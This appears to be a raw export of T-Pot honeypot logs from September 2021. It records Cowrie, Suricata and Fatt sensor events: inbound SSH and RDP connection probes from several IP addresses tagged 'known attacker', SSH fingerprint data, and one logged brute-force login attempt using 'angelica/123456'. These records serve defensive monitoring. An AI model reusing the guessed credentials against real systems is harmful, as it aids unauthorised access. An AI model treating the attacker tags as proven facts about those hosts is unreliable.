30532	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:36:00.121075+03	2021-09-20 14:45:03.284142+03	{"_id": "WQb9AnwBvYTbRNuEzz0h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 121.4.68.188:48552 (192.168.176.2:22) [session: 7742cb90a2e7]", "session": "7742cb90a2e7", "@version": "1", "protocol": "ssh", "src_port": 48552, "dest_port": 22, "timestamp": "2021-09-20T11:36:00.121075Z", "@timestamp": "2021-09-20T11:36:00.121Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30533	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:36:00.440277+03	2021-09-20 14:45:03.285142+03	{"_id": "WAb9AnwBvYTbRNuEzz0g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.login.failed", "message": "login attempt [angelica/123456] failed", "session": "149acd0a9258", "@version": "1", "password": "123456", "username": "angelica", "timestamp": "2021-09-20T11:36:00.440277Z", "@timestamp": "2021-09-20T11:36:00.440Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30534	121.4.68.188	109.199.241.180	Suricata	2021-09-20 14:36:00.397391+03	2021-09-20 14:45:03.286142+03	{"_id": "XQb9AnwBvYTbRNuE0D3O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:35:59.846854+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "121.4.68.188", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1533026066492422, "payload": "AAADzAYUbP5f2mTkIm50pmoVEubwNQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48552, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:36:00.397391Z", "@timestamp": "2021-09-20T11:36:00.397Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......l._.d.\\"nt.j....5...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30535	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:36:00.126044+03	2021-09-20 14:45:03.287142+03	{"_id": "Xgb9AnwBvYTbRNuE0T3b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "121.4.68.188", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48552, "timestamp": "2021-09-20T11:36:00.126044", "@timestamp": "2021-09-20T11:36:00.126Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30536	91.200.124.7	109.199.241.180	Suricata	2021-09-20 14:36:01.92402+03	2021-09-20 14:45:03.289142+03	{"_id": "cQb9AnwBvYTbRNuE2D2f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:36:01.842303+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.200.124.7", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 320692090427967, "payload": "AAADzAYU2k2TkviIhsrWxj8RgF2lrwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48700, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:36:01.924020Z", "@timestamp": "2021-09-20T11:36:01.924Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......M........?..].....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30537	91.200.124.7	109.199.241.180	Fatt	2021-09-20 14:36:01.92402+03	2021-09-20 14:45:03.290142+03	{"_id": "cgb9AnwBvYTbRNuE2T2t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 48700, "dest_port": 22, "timestamp": "2021-09-20T11:36:01.924020", "@timestamp": "2021-09-20T11:36:01.924Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30538	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:36:02.863498+03	2021-09-20 14:45:03.291142+03	{"_id": "dAb9AnwBvYTbRNuE2j3b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "7742cb90a2e7", "@version": "1", "duration": 2.739926338195801, "timestamp": "2021-09-20T11:36:02.863498Z", "@timestamp": "2021-09-20T11:36:02.863Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30539	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:35:49.541866+03	2021-09-20 14:45:03.292142+03	{"_id": "GAb9AnwBvYTbRNuEpT3O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:35:49.254739+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 743855889965843, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3004, "dest_port": 3389, "timestamp": "2021-09-20T11:35:49.541866Z", "@timestamp": "2021-09-20T11:35:49.541Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30540	1.117.219.217	109.199.241.180	Fatt	2021-09-20 14:35:48.933036+03	2021-09-20 14:45:03.293142+03	{"_id": "Hwb9AnwBvYTbRNuEpj3b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 33230, "dest_port": 22, "timestamp": "2021-09-20T11:35:48.933036", "@timestamp": "2021-09-20T11:35:48.933Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30541	94.232.41.165	109.199.241.180	Fatt	2021-09-20 14:35:49.330888+03	2021-09-20 14:45:03.294141+03	{"_id": "IAb9AnwBvYTbRNuEpj3b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "94.232.41.165", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 3004, "dest_port": 3389, "timestamp": "2021-09-20T11:35:49.330888", "@timestamp": "2021-09-20T11:35:49.330Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
30543	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:35:50.794185+03	2021-09-20 14:45:03.297142+03	{"_id": "JAb9AnwBvYTbRNuEqT24", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 62639, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1851205833072201, "@version": "1", "in_iface": "enp5s0", "src_port": 47971, "dest_port": 53, "timestamp": "2021-09-20T11:35:50.794185Z", "@timestamp": "2021-09-20T11:35:50.794Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30544	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:35:51.330023+03	2021-09-20 14:45:03.298142+03	{"_id": "MQb9AnwBvYTbRNuErD0a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "90c1ab36ee37", "@version": "1", "duration": 2.6556594371795654, "timestamp": "2021-09-20T11:35:51.330023Z", "@timestamp": "2021-09-20T11:35:51.330Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30545	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:35:51.155804+03	2021-09-20 14:45:03.299141+03	{"_id": "Mgb9AnwBvYTbRNuErT2g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 6198, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1168628155637916, "@version": "1", "in_iface": "enp5s0", "src_port": 45645, "dest_port": 53, "timestamp": "2021-09-20T11:35:51.155804Z", "@timestamp": "2021-09-20T11:35:51.155Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
